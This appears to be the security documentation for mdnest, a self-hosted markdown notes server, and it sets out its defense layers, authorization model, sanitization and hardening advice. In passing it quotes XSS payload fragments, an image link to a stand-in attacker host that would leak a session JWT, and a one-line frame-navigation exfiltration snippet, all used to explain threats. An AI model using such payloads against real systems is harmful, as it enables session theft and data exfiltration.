Security

mdnest is a privately-hosted markdown notes platform that runs across shapes that differ widely in scale and threat model:

All three share the same engine and the same authorization model; their threat models differ. This doc explains what's enforced, where the boundaries are, and how to harden each.


Defense layers at a glance

flowchart LR
    user[User / device] --> net["Network boundary<br/>(loopback, Tailscale,<br/>or HTTPS reverse proxy)"]
    net --> idp["Identity<br/>(local password / TOTP,<br/>OIDC SSO, or Firebase)"]
    idp --> authz["Authorization<br/>(role hierarchy +<br/>namespace_admins +<br/>access_grants)"]
    authz --> path["Path safety<br/>(SafePath traversal<br/>protection)"]
    path --> fs[Files on disk<br/>inside mounted dirs]
    fs --> render["Rendered content<br/>(DOMPurify sanitization<br/>of markdown + SVG)"]
    render --> browser[Browser DOM]

The first four layers are independent gates on the way in — a flaw at one is contained by the next, and a request has to pass all four to read or write a file. The fifth guards the way out: note content is user-authored and shared, so it's sanitized before it reaches the DOM.


Layer 1 — Network boundary

The default BIND_ADDRESS=127.0.0.1 means the backend and frontend ports are reachable only from the host machine. Nothing on your LAN, your Wi-Fi, or the public internet can touch them. This is the most important boundary on any deployment, single-user or team.

Three supported ways to expose mdnest beyond the host:

Tailscale builds an encrypted private network (a tailnet) between machines you control:

tailscale serve --bg --https 3236 http://127.0.0.1:3236

Result: https://<your-host>.<tailnet>.ts.net:3236. Outside the tailnet the hostname doesn't resolve, so there's nothing to brute-force. The Tailscale guide walks through it, including your phone.

For a team install reachable from corporate laptops or via SSO redirects, you want a real public-facing TLS endpoint. mdnest ships built-in support for:

In all three cases, mdnest itself stays bound to loopback inside Docker and only the proxy is exposed to the outside world. Set FRONTEND_ORIGIN=https://notes.example.com so CORS and SSO callbacks resolve correctly.

Why not just BIND_ADDRESS=0.0.0.0

Binding to all interfaces drops the network boundary entirely. Anyone on the same network sees your login page. That's only acceptable if you're already behind a real reverse proxy that terminates TLS and a firewall that restricts source IPs. Don't do it on a residential network or a public-IP VM with no proxy in front of it.

Multi-IP bind (v3.8.0+)

BIND_ADDRESS accepts a comma-separated list — the published ports bind to each address independently. The common pattern is BIND_ADDRESS=127.0.0.1,100.73.118.115: localhost stays usable on the host, and the Tailscale / WireGuard / VPN address is reachable to your other devices on the overlay network — but the public NIC is still dark. This is strictly safer than 0.0.0.0 because traffic from the LAN or the public internet never reaches the listener at all.

It has one operational catch. Docker publishes a port only if the IP exists when the container starts. A Tailscale or VPN address usually comes up after Docker does, so after a reboot or a Docker restart the containers can run with no port published: docker ps shows them as Up and every request is refused. If the address is missing at the moment Docker starts the container, Docker refuses to start it at all (failed to bind host port <ip>:<port>: cannot assign requested address, exit code 128), and restart: unless-stopped does not retry it, so mdnest stays down. ./mdnest-server status reports both cases, and ./mdnest-server reload fixes it until the next restart. The setup that survives restarts is BIND_ADDRESS=127.0.0.1 with a reverse proxy listening on the overlay address (for Tailscale, tailscale serve does this with no extra software).


Layer 2 — Identity

Three identity providers are supported in multi-user mode (AUTH_MODE=multi), exclusive per server. Plus single-user mode for personal use.

Mode USER_PROVIDER Password store MFA
Single-user n/a (no AUTH_MODE) bcrypt in auth.json none
Multi, local local (default) bcrypt in Postgres users.password_hash TOTP (per-user, optional or required via REQUIRE_2FA)
Multi, SSO sso n/a — IdP owns identity IdP-managed (Google/Okta/Entra/Keycloak/Auth0/Clerk)
Multi, Firebase firebase n/a — Firebase Auth owns identity TOTP stored in Firestore (shared across mdnest servers using the same Firebase project)

Local mode (single or multi)

SSO mode (USER_PROVIDER=sso)

Firebase mode (USER_PROVIDER=firebase)

What gets put in the JWT

Every successful sign-in (any mode, any provider) issues an HS256 JWT containing:

Claim Notes
sub display name (username, IdP name claim, or email — falls back through)
user_id Postgres users.id
role superadmin, admin, or collaborator (v3.5.0+)
totp_enabled reflects the user's TOTP state at issue time; refreshed at login
groups (v4.2.0+) IdP group IDs from OIDC_GROUPS_CLAIM, snapshotted at login. Omitted when the IdP emits none or the feature is off.
iat / exp 30 days (365 with "remember me"; 12 hours for SSO sessions — see below)

Claims are read from the token, not re-checked per request. role and groups are taken from the JWT on every request with no database reload. That means a role change or a group change does not take effect until the user's next sign-in. It is why SSO sessions, which carry the groups snapshot that drives authorization, are minted with a deliberately short 12-hour TTL (ssoJWTTTL) rather than the year-long "remember me" lifetime: it bounds how long a stale snapshot can outlive a change at the IdP. Password-login TTLs are unchanged.

Login step tokens are not sessions (v4.6.2+). Between the password and the second factor (or a forced password change, or forced 2FA setup) the server issues a 10-minute token carrying a purpose claim. It is signed with the same secret, so the rule is positive: a session JWT has no purpose claim, and the auth middleware and the live-collab socket both refuse any token that has one (middleware.ParseSessionToken). Each step endpoint accepts only its own purpose (totp, totp_setup, change_password), and forced setup refuses a user who already has 2FA. Before v4.6.2 the step token worked as a full session, so the password alone got past TOTP.

If you need to revoke someone now, rotate MDNEST_JWT_SECRET — that invalidates every active session immediately.

The JWT is signed, not encrypted. Anyone with the token can read its claims. MDNEST_JWT_SECRET is the HMAC key — keep it secret, rotate it if you suspect compromise (rotating invalidates every active session immediately).

API tokens

For headless callers (CLI, MCP server, scripts):

Token scope (v3.5.0+): Tokens resolve to their creator's user context at every request. There is no system-wide admin bypass for tokens. Specifically:

IdP groups for API tokens (v4.8.14+, opt-in). An API token has no login of its own, so it has no groups snapshot: by default an IdP-group member of an access group is ignored for tokens, and a person who reaches a namespace only through an IdP group sees it in the browser but not from the CLI or an agent. In multi mode with OIDC_GROUPS_CLAIM set, every SSO login stores the person's IdP groups in user_oidc_groups (one row per user, replaced at each login, an empty list included; deleted with the user) (v4.8.15+; before, only with API_TOKEN_GROUPS_MAX_AGE). The namespace member list (/api/namespace/users: assignee and chat member pickers) uses it to include the IdP-group members of access groups, for 30 days after that login (or API_TOKEN_GROUPS_MAX_AGE when longer), so a person removed from the IdP group drops off it even if they never sign in again; it grants nothing, access is still checked on every request. With API_TOKEN_GROUPS_MAX_AGE set (a Go duration, e.g. 168h), the person's tokens use that list until API_TOKEN_GROUPS_MAX_AGE after the login, and none once it is older. The trade-off is the same as for sessions, over a longer window: leaving an IdP group takes effect for tokens at the person's next SSO login or when the age is reached, whichever comes first. Keep the age short enough for your offboarding policy, and use direct user members or grants where a change must apply at once. Unset or 0: tokens behave as before.

This was a behaviour change from pre-v3.5.0 where any admin token had unconditional global bypass.

Ownerless tokens are refused in multi mode (v4.6.2+). A token minted in single mode (by mdnest-server create-token or the single-mode UI) has no owner. If the install later switches to multi mode, the one-time tokens.json import carries it into Postgres with no user. Such a token used to reach the permission layer with no user context, which means single mode (allow everything). The auth middleware now answers 401 for it; create a new token in Settings → API Tokens. Deleting a user deletes their tokens (ON DELETE CASCADE), so that does not produce ownerless tokens.

Stickies (v4.5.0+)

The per-user sticky board is the one surface whose content deliberately never leaves the server:

Agent approvals (experimental, off by default)

ENABLE_AGENT_APPROVALS lets a person answer an agent's permission prompt from mdnest. It adds a real risk, and that is why it is off by default on the server, needs a policy file on each machine, and can be turned on per agent session.

The added risk. Without approvals, someone who gets into an mdnest account, or finds a script-injection bug in a note, can read and change notes. With approvals, the same access can press Allow and run commands on every machine that opted in for that account. The rules below limit this but cannot remove it, so login protection (2FA, SSO) and the rendered-content sanitising (Layer 5) matter more once it is on.

The rules:


Layer 3 — Authorization

In multi-user mode, every namespace-scoped request runs through middleware.PermissionChecker. The decision tree:

flowchart TD
    R[Request: ns + path + read/write] --> S{Role?}
    S -->|superadmin| ALLOW[Allow]
    S -->|admin| NS{ns in<br/>namespace_admins<br/>for this user?}
    NS -->|yes| ALLOW
    NS -->|no| G{Matching row<br/>in access_grants?}
    S -->|collaborator| G
    G -->|write match for write request| ALLOW
    G -->|read match for read request| ALLOW
    G -->|none| DENY[403]

Three-tier role hierarchy (v3.5.0+)

Role Scope Capabilities
superadmin Global Everything: invite users with any role, manage all grants, promote/demote between roles, delete users, reset 2FA, sync any namespace, manage namespace admins.
admin Per-namespace via namespace_admins(user_id, namespace) rows Within their namespaces only: invite users (must specify a namespace they admin), create/edit/revoke grants on those namespaces, promote co-admins, trigger git-sync. Implicit read+write on those namespaces. Cannot reset 2FA, delete users, or change global roles — those are SuperAdmin-only.
collaborator Per-grant rows in access_grants Read or write only on the namespaces / paths they've been granted.

ADMIN_EMAILS in mdnest.conf auto-promotes the listed addresses to superadmin on every startup (idempotent). Removals are not auto-demoted — operators demote explicitly.

First-run bootstrap (v3.11.4+). On a fresh multi-mode install (empty users table) the seeded account — from MDNEST_USER / MDNEST_PASSWORD — is created as superadmin. It's the operator by definition, so it must hold the global role; a namespace-scoped admin with no namespace_admins rows would see zero namespaces and have no way to grant itself access. The count == 0 guard restricts this to the very first user, so later invitees are unaffected. (Set a strong MDNEST_PASSWORD before first boot — the seed uses it verbatim.)

When mdnest is upgraded from a pre-v3.5.0 install, migration 007_namespace_admins renames every existing role='admin' row to role='superadmin' so current operators retain full power. New admins post-upgrade are namespace-scoped — promoted via POST /api/admin/namespace-admins or the admin panel (People or Namespaces tab).

Grant model

access_grants(user_id, namespace, path, permission):

Every route checks the path it serves (v4.6.2+). Grants can be path-scoped, so "has some grant in the namespace" (RequireNsAccess) is only enough for routes that serve nothing per note. The route table lives in backend/routes.go and is driven over HTTP by backend/routes_test.go:

Route Check
/api/note, /api/tasks, /api/chat read for GET, write otherwise, on ?path=
/api/board read on ?path= for GET; changing the namespace's columns needs write on the namespace root
/api/note/history, /api/note/at, /api/note/attribution, /api/comments (all methods) read on ?path=
/api/folder, /api/upload (plus the file actually written), /api/chat/convert write on ?path=
/api/move write on both from and to; from also checks the private chats inside a folder
/api/files/<ns>/<path> read, in the handler
/api/search, /api/chat/gifs, /api/admin/sync-status namespace access, then each result read-checked
/api/tasks/all, /api/chats namespace filter, then each task / chat read-checked by its note
/api/tree grant-filtered listing (names only)
/api/ws (live collaboration) read on the note for every join (and for the older per-note handshake); only writers' edits and cursors are relayed

Shared editing rooms (v4.8.10+). Joining a note's room is the same /api/ws connection, so it needs read on the note, and a private chat's member list applies (chats are not shared-edited anyway). What the server enforces, in backend/collab/yjs.go:

Listings filter with PermissionChecker.ReadFilter, which loads the user's grants once and matches with the same store.GrantsAllow the grant store uses. It is reached through middleware.ReadFilterFor, which fails closed: a multi-mode request without the checker attached sees nothing.

Symbolic links are authorised for what they reach (v4.6.2+). Storage keeps every link inside its namespace, but inside it a link can point from a folder you may read to one you may not. The local backend refuses any path whose resolved target leaves the namespace, reaches a .git folder, or is a dangling link, for every caller. The checker also resolves the path (storage.LinkResolver), refuses a target under .git or .mdnest, and requires the grant on both the name and the target, so Shared/link.md → Private/p.md is refused to a /Shared user and a link within /Shared keeps working. App replicas (MDNEST_ROLE=app) have no filesystem to resolve against, so the writer never caches a linked path for them and refuses a queued write through one.

Private chats narrow a grant (v4.8.4+). A chat with a member list (chat_members, migration 017) is readable and writable only by its members, on top of the grant check. The check is inside PermissionChecker.check, before the namespace-admin shortcut, so every route in the table above applies it, namespace admins included, and ReadFilter leaves non-members' private chats out of every listing. Operations on a whole folder (DELETE /api/note, /api/move, /api/transfer) use the tree-aware CheckWriteTree / CheckReadTree, which refuse when the folder holds a private chat the caller is not on, and a folder /api/download filters each file. A member-list lookup error refuses. Lists are never removed on move or delete, so the old path's git history (/api/note/history, /api/note/at) stays closed; a list whose file is gone is ignored by the folder checks only. A move copies the list to the destination first (replacing what was there) and, if the move fails, restores exactly what it replaced. Removing a member takes their live-collaboration connection out of the chat (Hub.DropUsers), since a connection is authorised when it joins a note: a visit socket (v4.8.13+) leaves only that note and is told, a per-note socket from an older tab is closed. DropUsers then runs every connection in the note through the permission check again, so a join that was being checked against the old list cannot stay (this instance only; a peer behind the Redis backplane keeps its connection until it joins again). A grant change (access-changed) rechecks every connection the same way, on every instance. Keys are lowercased and the checker folds paths the same way, because a case-insensitive mount serves CHATS/SECRET.md as Chats/secret.md. ReadFilter and the namespace-admin shortcut resolve symlinks for private chats, so a link to one leaks nothing. /api/move refuses an existing destination. Adding a member runs under a per-chat advisory lock and re-checks the caller against the current list, so a member removed mid-request cannot add themselves back; making an open chat private needs namespace-admin scope. The list never grants access, and it is not stored in the note, so editing the file cannot change it. git-sync still pushes the file to its remote. backend/routes_chat_members_test.go walks every route as a non-member, and tests/e2e-private-chats-multi.sh runs the store against Postgres.

Access Groups (v4.2.0+)

access_groups + access_group_members + access_group_grants add a second, opt-in source of the same grant shape. Effective access is the union of a user's own grants and the grants of every group they belong to; group access is consulted only after direct grants fail, and a nil group store disables the layer entirely (single mode, or no database).

A member row is a mdnest user_id XOR an oidc_group id — enforced by a database CHECK, not just application code. An OIDC-group member may carry a display label; matching is always on the group id, never the label.

The two member kinds have different revocation latency, and operators must know which they're relying on:

Member kind Resolved Removing access takes effect
mdnest user live, per request (WHERE user_id = …) immediately
OIDC group id from the groups JWT claim, snapshotted at login at next sign-in, bounded by the 12h SSO TTL

So removing someone from a group in the IdP is not an immediate revocation of their mdnest access — it takes effect when their session token expires. Removing them from the mdnest group, deleting the group, or revoking the group's grant all take effect at once. For an immediate cut-off regardless of source, block the user or rotate MDNEST_JWT_SECRET.

Group management (/api/admin/groups*) is superadmin-only.

Grant depth limit (v3.5.0+)

GRANT_MAX_DEPTH in mdnest.conf (default 3) caps how deep into a namespace tree a grant's path can go:

The cap stops admins from creating overly-narrow grants that are hard to audit. Existing grants are grandfathered — only new INSERTs are checked. Set to 0 for no limit. The PathPicker in the admin UI uses the same value to hide too-deep folders, so admins can't pick something the API will reject.


Layer 4 — Path safety

The backend cannot read or write outside your mounted directories, regardless of authorization.

SafePath (in backend/handlers/path.go) is called by every handler that takes a user-supplied path. It enforces:

RequireNamespace validates that ?ns=<name> is a simple identifier (no slashes, no . prefix) and that the directory exists under NOTES_DIR.

This blocks:

Path safety is enforced before authorization, so even if the role/grant logic had a bug, the filesystem boundary still holds.

/api/files/ takes its namespace from the path (v3.11.7+)

Every other content endpoint receives its namespace as ?ns=<name>, which lets the permission middleware wrap the route generically. GET /api/files/<ns>/<path> — the endpoint serving uploaded images and attachments to <img> tags — carries the namespace in the URL path instead, so it can't use that middleware and enforces the read check inside the handler.

Before v3.11.7 it enforced nothing: the route was registered with authentication only, so any authenticated principal — including an API token — could read any file in any namespace by guessing the URL. It now calls the same CheckRead(ns, path) used by RequireRead, and returns 403 {"error":"access denied"} on a namespace the caller has no grant for. Single-user mode constructs the handler with a nil PermissionChecker and is unaffected.

If you add a route whose namespace isn't in ?ns=, the check must be explicit in the handler — the middleware cannot see it. backend/handlers/upload_test.go pins this behaviour.

Download and transfer (v4.7.0+)

GET /api/download is guarded by RequireRead on the cleaned ?path=, the same check as reading a note. It is deliberately not RequireNsAccess, which only asks whether the caller has some grant in the namespace: with that, a user granted /Shared could zip /Private.

POST /api/transfer names two namespaces in its JSON body, so the query-param middleware cannot guard it. The handler checks both sides itself:

Grants cover a path and everything below it, so checking the two roots covers every file carried. Paths are cleaned with relpath.Clean before they are authorised, exactly as they are used. The check functions are required constructor arguments, and a nil one denies. Every refusal (400/403/404/409/413) happens before the first write.

What neither endpoint will carry:

Note identity. The <!-- mdnest:<uuid> --> marker names a note's comment thread.

Commit history. Commit-body annotations collapse control characters, so a file name holding a newline cannot forge a line such as a Co-authored-by trailer. The annotations do name the other side's namespace:path, so a cross-namespace move records the source path in the destination's history and remote. That is by design.

Limits. Folder downloads and transfers are capped by DOWNLOAD_MAX_FILES (500) and DOWNLOAD_MAX_MB (100).

Content-Disposition carries an ASCII filename= (quotes, backslashes, control and non-ASCII characters replaced) and an RFC 5987 filename*= with every byte outside the attr-char set percent-encoded, so a name cannot break out of the header.

App tier. On MDNEST_ROLE=app replicas, both endpoints forward to the writer (as uploads and history do), which owns the durable tree. Edits still in the durability queue may not have reached it yet.

Files that could run script are served inert (v4.5.5+)

Anyone who can write a note can save a .svg or .html file next to it, and chat invites agents to write SVG avatars. Opened directly from /api/files/, such a file is a document on mdnest's own origin, where a <script> inside it could read the viewer's session token. Two headers stop that:

TestServeFileActiveContentIsSandboxed in backend/handlers/upload_test.go pins both headers.


Layer 5 — Rendered content (v3.11.7+)

Note bodies are user-authored, and in multi-user mode they're shared between users — so anything a note can put on screen is an injection surface. marked passes raw HTML through by design, which means a note containing <img src=x onerror=…> or <a href="javascript:…"> executed in the browser of anyone who previewed it.

All markup mdnest injects into the DOM now passes through frontend/src/sanitize.js (DOMPurify) first. Three call sites are covered:

Where Function What it renders
Preview.jsx sanitizeHtml marked() output for a note body
ReleaseNotesModal.jsx sanitizeHtml release notes fetched from the GitHub API
Preview.jsx, MermaidViewer.jsx sanitizeSvg mermaid-rendered SVG
Preview.jsx (v4.2.0+) sanitizeSvg Excalidraw-exported SVG for a read-only drawing embed

Stripped: event-handler attributes (onerror, onclick, …), dangerous URI schemes (javascript:, data: in active contexts), <script>, <iframe>, <object>, <embed>, <form>. Preserved deliberately: class, data-* (the Preview's mermaid and task-checkbox post-passes depend on them), <input type="checkbox"> task items, and target — with an afterSanitizeAttributes hook forcing rel="noopener noreferrer" on target="_blank" so external links can't reach back into the opener.

sanitizeSvg must keep foreignObject. DOMPurify's SVG profile excludes it, but mermaid renders every flowchart node label inside one (htmlLabels defaults to true), so the bare profile silently deletes the text of every label while the shapes still draw. Allowing the element doesn't weaken anything — DOMPurify still descends into the subtree and strips scripts, iframes, and handlers. Don't "fix" it by also allowing div/span: once those are on the allow-list they fail DOMPurify's namespace check instead of being unwrapped, and the labels disappear again. frontend/src/__tests__/sanitize.test.js pins both directions.

sanitizeSvg allows <use>, but only same-document references (v4.2.0+). Excalidraw paints an embedded raster image as a <symbol> in <defs> referenced by <use href="#…">. DOMPurify drops <use> by default for a good reason — an off-document <use href="https://…"> is a classic SVG exfiltration/XSS vector — but with it dropped the <symbol> survived in <defs>, was never painted, and the image silently vanished from the embed while looking correct in the editor's own canvas. use is therefore on the allow-list paired with an afterSanitizeAttributes hook that removes any use whose href / xlink:href doesn't start with #. Both halves are pinned by tests: one asserts a same-document use survives, the other asserts an off-document one is dropped — defeating the guard reddens the second.

This is a second layer, not the only one — mermaid also runs at its default securityLevel: 'strict'.

Deck export never sends credentials cross-origin (v4.2.0+)

The standalone Marp export inlines images as data URIs, fetching each with the user's session token so /api/files/… assets resolve. Deck content is user-authored and shared, so an image URL is attacker-controlled: a deck containing ![](https://evil.example/x.png) would hand the mdnest JWT of whoever exported it to that host. The export therefore attaches Authorization only when the resolved URL is same-origin; cross-origin images are still fetched (so public assets inline and the deck stays self-contained) but never with credentials, and non-http(s) schemes are skipped. This was caught in review and never shipped in a release.

HTML pages

ENABLE_PAGES (optional, off by default) lets people and agents publish HTML pages into the notes tree. A page is someone else's HTML and script, shown in the viewer's browser, so the main risk is a page's script acting as the viewer: mdnest keeps the login token in localStorage, and a script on mdnest's own origin could read it and call the API as that person. The design keeps a page off mdnest's origin whenever its scripts run.

The server never runs a page. It stores files and serves them. It does not render HTML, run a headless browser or take screenshots. The only parsing is one pass over index.html at publish time to pull out its title and visible text for search, and control characters are removed from both, so a title cannot carry terminal escape codes into mdnest page list.

A page's permission is its handle's. A page shows in the notes tree as a handle file, <name>.page.md, holding only front matter with page: <id>. The page's files are stored apart from the notes, under that id: 160 random bits, so an id cannot be guessed. Every pages route checks the notes' own permission on the handle's path: read on the handle to view the page or read its text, write on the handle to publish over it or delete it. So a page is exactly as visible as the notes beside it, and a grant on a subfolder works for the pages in it.

Copying a handle gives that folder's readers the page. A handle is a note, and copying it is the same as copying a note they could already read. The id cannot be guessed, but it can be read: anyone who can read a handle knows its id. Two rules keep that from becoming more:

Known limit. Deleting a handle deletes its page when no other handle in the namespace names the same id. Someone who can write a folder can write a handle naming any id they know, and delete it. If that id belongs to an unlinked page (its real handles already removed outside mdnest, normally deletable only by writers of the whole namespace), its files go with it. A page that still has a handle anywhere is never removed this way.

A page belongs to the namespace it was published in. Moving or copying a handle to another namespace through mdnest (/api/transfer: a drag in the tree, mdnest move or copy) carries the page along, with transfer's own checks: read on the source, write on the destination. If the destination already has a page under that id, the copy gets a new one. A page that cannot be carried fails the whole transfer, and nothing is left half done. A handle that reaches another namespace any other way (copied by hand, git sync) does not open there: it gets "this page was published in another namespace: publish it again here". Nothing is ever served across a namespace boundary.

Deleting. Deleting a handle (a note delete, or a folder holding handles) deletes each page no other handle in the namespace names. A handle removed outside mdnest leaves its page unlinked: listed for writers of the namespace root, never deleted on its own.

Uploads. Every path in an uploaded folder goes through SafeRelPath and SafePath: .., absolute paths and .git are refused, and only plain files and folders are accepted (symlinks, hard links, devices and FIFOs are refused, and so is the same file twice). PAGES_MAX_MB and PAGES_MAX_FILES are counted on the unpacked bytes as they are written, so a small gzip that unpacks to gigabytes stops at the limit. Folders count too: a page may create at most PAGES_MAX_FILES folders (from folder entries and from the paths of its files), checked before any is created, so a tar of empty folders cannot use up the disk's inodes. Publishing never overwrites a .page.md that is not a handle (409). A drop from the desktop is checked against the same limits in the browser before it uploads, and again by the server.

Viewing goes through a pass. Opening a page asks the API for a frame URL. The server checks read access on the handle, then signs a pass that names one namespace, one page and the page's current version, and expires after 30 minutes. The pass is signed with its own key, derived from the server's JWT secret (HMAC-SHA256 of the secret over a fixed label), never with the secret itself, so a pass and a login token are never checked against the same key. The pass sits in the URL path, so the page's own relative links carry it, and the page is served to whoever presents it, with no other login. Consequences:

Static mode (no PAGES_ORIGIN). Page files are served from mdnest's own address under /api/pages/view/, with the same kind of script-less sandbox as other uploaded HTML: Content-Security-Policy: default-src 'none', with images, styles and fonts allowed only from the page itself, and sandbox without allow-scripts. The frame in the app is also sandbox="". Scripts do not run, and the page sits in a unique origin. A page URL opened as a whole tab (Sec-Fetch-Dest: document) is refused, so someone else's HTML never fills a tab on mdnest's own address. Browsers send that header only over https and to localhost; on a plain-http address it is missing, and such an open is still served (still without scripts or forms). frame-ancestors is 'self' plus FRONTEND_ORIGIN, so only mdnest itself can show the page in a frame, even when FRONTEND_ORIGIN still names an internal address; no other site can.

Script mode (PAGES_ORIGIN set). Page files are served only from the second address, by a separate listener that serves page files and nothing else: no API route, no cookies or credentials, GET and HEAD only. mdnest's own address does not serve page files in this mode. Each response carries:

The backend refuses a PAGES_ORIGIN with the same scheme, host and port as FRONTEND_ORIGIN: it logs an error and stays in static mode, and setup.sh and the Helm chart refuse it outright. Auth is not cookie-based, so a sibling subdomain or a second port is acceptable as the pages address: the only cookie mdnest sets is the SSO login's short-lived state cookie, which is host-only (no Domain) and HttpOnly, and is not a login.

Every page response, in both modes, also carries X-Content-Type-Options: nosniff, Referrer-Policy: no-referrer (so a pass never leaks to an outside site in a Referer) and Cache-Control: private, no-store (so a shared browser or proxy never keeps a private page).

PAGES_NETWORK=strict limits what a page loads, not what it can send out. It blocks outside scripts, images and fetches, so a page cannot pull in code or call an outside API. It cannot stop a page's script from sending data by moving its own frame to another address, for example location = 'https://example.com/?' + data: a sandboxed frame may always navigate itself, and no CSP setting covers that. So treat a script-mode page as able to send out anything it shows, in either mode. The data it can reach is only its own files: it has no login and cannot read mdnest or other pages. With open, it can also send data with a plain fetch, which is the page author's choice, the same as publishing the data anywhere else. strict is still the default, because it keeps outside code out of the page.

Tests: backend/handlers/pages_test.go and backend/routes_pages_test.go (headers, passes, permissions, limits, paths), and the browser specs listed in docs/codemap.md.


Operational security

INSECURE_DEV_LOGIN — never on prod

For local development and SSO testing, INSECURE_DEV_LOGIN=true enables POST /api/auth/dev-login that mints a session JWT for any existing user by email — bypassing the IdP entirely. Identity rules still match SSO (the email must be invited; blocked users still rejected), but there is no OAuth round-trip and no MFA. While enabled:

The flag is off by default. Never set it on a non-localhost deployment — anyone who can reach the backend port can impersonate any user.

Password reset access boundary (v3.6.0+)

Resetting another user's password is a privileged operation, and the system splits it into two paths with deliberately different access bars.

Reset target Allowed actor Path
Collaborator / namespace-admin Any super-admin Admin Panel → People → Reset password (POST /api/admin/reset-password)
Super-admin Anyone with shell access on the host ./mdnest-server reset-password <email>

The web endpoint refuses to act on a super-admin target (403). That's deliberate: web sessions are easier to compromise than host-shell access, and "any super-admin can replace any other super-admin's password from the UI" is a one-click takeover primitive — one phished super-admin can lock out every other super-admin and then own the system. Forcing the cross-super-admin case through the host CLI raises the bar to whoever has SSH on the box, which is typically a much smaller and better-protected set of people.

Both paths set must_change_password=true so the temp password is single-use — the target is forced to pick their own on next login before they can reach anything else in the app.

The host CLI accepts the new password on stdin (not as an argv argument), so it never appears in ps, the shell history, or the audit log. Backend logs the actor + target user IDs and the email, but never the password itself.

This whole feature only applies in USER_PROVIDER=local. In Firebase / SSO mode the IdP owns the password and both paths refuse.

Outbound GitHub poll (v3.8.0+)

mdnest's backend reaches out to api.github.com once per hour to check whether a newer release is available, so the sidebar can surface release notes when one drops (was once every 24 hours pre-v3.10.1 — the longer cadence meant operators sometimes waited a full day to see the banner after a release shipped). This is the only outbound network call the backend itself makes; everything else stays inside your install.

Drawing fonts load from a public CDN (browser side)

The drawing editor (Excalidraw) does not ship its handwriting fonts inside mdnest's build. The first time a browser opens a drawing, it downloads them from https://esm.sh/@excalidraw/excalidraw@<version>/dist/prod/fonts/. That request comes from the user's browser, not the server, and it carries no note content: only the font file is requested. On a network with no internet access the request fails and drawings still work, with text shown in a plain fallback font. We found no other part of the web app that loads anything from outside your install. For v4.8.5 this was checked by recording a browser's requests while signing in, reading notes and drawing, and by searching the frontend source for outside URLs.

Per-workspace git credentials — sealing, fail-closed & rotation (multi mode)

When a namespace mirrors to its own repository (Admin → Namespaces → Git backup, or Settings → Personal namespace → Git backup for a user's own namespace, on git storage only), the supplied credential — an HTTPS PAT or an SSH private key, the most sensitive data mdnest holds — is sealed at rest with AES-256-GCM in the workspaces (and workspace_groups) table. The key is derived (SHA-256) from MDNEST_ENCRYPTION_KEY, which falls back to MDNEST_JWT_SECRET.

Secrets to rotate

Secret Where When to rotate
MDNEST_JWT_SECRET mdnest.conf If you suspect compromise. Rotation invalidates every active session immediately. If MDNEST_ENCRYPTION_KEY is unset, git credentials are sealed under this secret, so rotating it also makes them undecryptable — set a dedicated MDNEST_ENCRYPTION_KEY so the two can be rotated independently.
MDNEST_ENCRYPTION_KEY mdnest.conf If you suspect the git-credential store is compromised. Rotation makes stored per-workspace git credentials undecryptable — owners must re-enter their token / key afterwards (see above).
POSTGRES_PASSWORD mdnest.conf After any DBA hand-off. Update + mdnest-server rebuild.
SSO_CLIENT_SECRET mdnest.conf If the IdP-issued secret leaks. Generate a new one in the IdP's admin console, swap in mdnest.conf, ./mdnest-server reload.
Git deploy keys git-sync/keys/ If a key leaks; rotation also requires updating the key in the git provider.

What gets logged

The backend logs to stdout (captured by Docker):

Logs do not include passwords, tokens, or note content. Email addresses do appear — handle log retention accordingly.

Database backups

Notes are plain files — back them up with rsync, git, or whatever tool already covers the host. The Postgres database stores user accounts and grants only (no note content). Standard pg_dump on a schedule covers it; the schema fits comfortably in a small dump.

Docker image freshness

The Postgres driver is jackc/pgx/v5 (since v4.2.1). It replaced github.com/lib/pq, which is in maintenance mode and carries seven advisories that will not be fixed (GO-2026-6166/6168/6170–6173, every one Fixed in: N/A, including a malformed-frame panic and GSS authentication completing without mutual proof). Because Backend (govulncheck) is a required check on main with no bypass actors, an unfixable advisory in a direct dependency blocks every release until the dependency is replaced — which is the intended behaviour of that gate, not an obstacle to route around.

Both base images are pinned to moving tags (golang:1.26-alpine, node:20-alpine, nginx:alpine, postgres:16-alpine, alpine:latest) so a ./mdnest-server rebuild pulls the latest patch automatically. The CI workflow's Backend (govulncheck) job runs against go-version-file: backend/go.mod so it tracks whatever the build image is using.


Request limits

Resource Limit
Note content (create/update) 10 MB
File upload 32 MB
Search results 30 per query (configurable via SEARCH_MAX_RESULTS)
Folder download / transfer (v4.7.0+) 500 files, 100 MB (DOWNLOAD_MAX_FILES, DOWNLOAD_MAX_MB)
Concurrent zip downloads (v4.7.0+) 1 per user, 2 server-wide (DOWNLOAD_MAX_CONCURRENT)
Clipboard copy between servers (v4.7.0+) 1 MB of UTF-8
HTML page (ENABLE_PAGES) 20 MB unpacked, 500 files (PAGES_MAX_MB, PAGES_MAX_FILES)
HTML page pass 30 minutes, one page
JWT expiry 30 days
Login rate limit none (relies on network boundary)
API token expiry none (revoke manually)

Recommendations by deployment shape

Solo (single-user mode or multi/local)

  1. Keep BIND_ADDRESS=127.0.0.1 (the default).
  2. Use Tailscale for remote access — never open ports publicly.
  3. Change default credentials immediately after first run.
  4. Use API tokens for the CLI / MCP server, not your password.
  5. Enable REQUIRE_2FA=true if multiple devices share a tailnet.
  6. Encrypt the host disk if the laptop / VM might be physically lost.

Team (multi/SSO, shared)

  1. Put mdnest behind a TLS reverse proxy — Caddy is the simplest. The backend stays loopback-only.
  2. Use SSO (USER_PROVIDER=sso) so identity is centralized and MFA is enforced by the IdP.
  3. Set SSO_ALLOWED_DOMAINS=<your domain> as a belt-and-suspenders email-domain allowlist.
  4. Pre-invite users via the admin panel before their first sign-in (no auto-provisioning).
  5. Use ADMIN_EMAILS for one or two ops superadmins; assign per-team admins from the Namespaces tab.
  6. Set a sane GRANT_MAX_DEPTH (default 3 fits most structures).
  7. Rotate SSO_CLIENT_SECRET and MDNEST_JWT_SECRET on a schedule that matches your org's policy.
  8. Snapshot Postgres regularly. Notes already go to Git via the optional sync sidecar.
  9. Never set INSECURE_DEV_LOGIN=true. The startup log warning + fixed-position pill are designed to make accidental enablement obvious, but the sane move is to leave it commented out in the conf.

What mdnest does not do

These are intentional trade-offs to keep the codebase small. Most are addressable with a reverse proxy, the host's disk encryption, or external log shipping.